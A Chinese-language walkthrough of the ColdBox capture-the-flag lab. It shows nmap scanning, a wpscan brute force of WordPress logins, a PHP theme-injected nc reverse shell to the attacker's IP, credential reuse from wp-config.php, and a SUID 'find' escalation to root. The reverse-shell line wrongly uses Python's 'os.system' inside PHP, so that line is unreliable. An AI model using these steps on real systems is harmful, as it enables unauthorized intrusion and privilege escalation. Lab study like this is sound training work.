Proving Grounds Play ColdBoxEasy Walkthrough
前言
此靶机来自Proving Grounds Play
在本实验中,你将对一个 WordPress 网站进行信息收集,通过暴力破解获取用户凭据,并利用 PHP 反向shell 获得初始访问权限。随后,你将利用 SUID 二进制文件提升权限,从而获得 root 权限。
以下讲述攻击渗透过程,靶机IP地址请忽略,目标IP地址已做脱敏处理。!
注意:本文仅探讨解题方法,所述技术严禁用于任何非法网络行为!!!
枚举
建议先使用nmap进行端口扫描,当然您也可以选择其他熟悉的工具。请注意,演示中的靶机IP地址仅供参考。
sudo nmap -sT 192.168.*.* -p- --min-rate 10000获取存活端口后,下一步自然是对这些端口进行全面扫描,以获取服务版本、系统类型及操作系统等详细信息。
sudo nmap -sV -A -O 192.168.*.* -p 80,4512 --min-rate 10000WEB 枚举
根据nmap扫描结果显示,靶机开放了两个服务:80端口运行WordPress网站,4512端口提供SSH服务。我们首先将重点放在80端口的Web服务上。
WordPress
WPScan
访问WordPress首页后,运行wpscan工具扫描网站,检测是否存在过时的插件或暴露的用户名信息。
wpscan --url http://192.168.*.*/ -eu --api-token=yuoCt******************************从扫描结果中,发现了三个用户,philip、c0ldd、hugo。
接下来使用wpscan对这三个账号进行密码爆破,尝试下能不能得到其中一个用户的密码。将三个用户名放至username.txt文件,密码字典使用rockyou.txt。
wpscan --url http://192.168.*.*/ -U ./play/username.txt -P ./rockyou.txt等在一段时间,成功得到c0ldd的账密。
RCE
通过此账密登录到wordpress后台管理界面,然后在Themes中编辑index.php,将payload注入到页面中。
<?php os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.*.* 80 >/tmp/f'); ?>在本地开启监听端口,访问站点主页准备接收shell。
提权
根据经验wp-config.php文件中,可能会存有数据库的用户名及密码。查看这个文件果然发现了一组账密。c0ldd:cy!*********
虽然得到的是数据库的账密,但是尝试下SSH登录是否能成功。不出所料,此用户使用相同的密码在SSH上,现在就拿到了c0ldd用户的权限了。
接下来,我们要拿到root权限。再各种排查后,发现了find命令,存在SUID权限。可以通过此问题进行提权。
find / -perm -u=s -type f 2>/dev/null那么接下来就可以提权到root了
find . -exec /bin/sh -p \; -quit成功提权至root。
如有问题或建议,欢迎私信进行技术讨论哦!!!
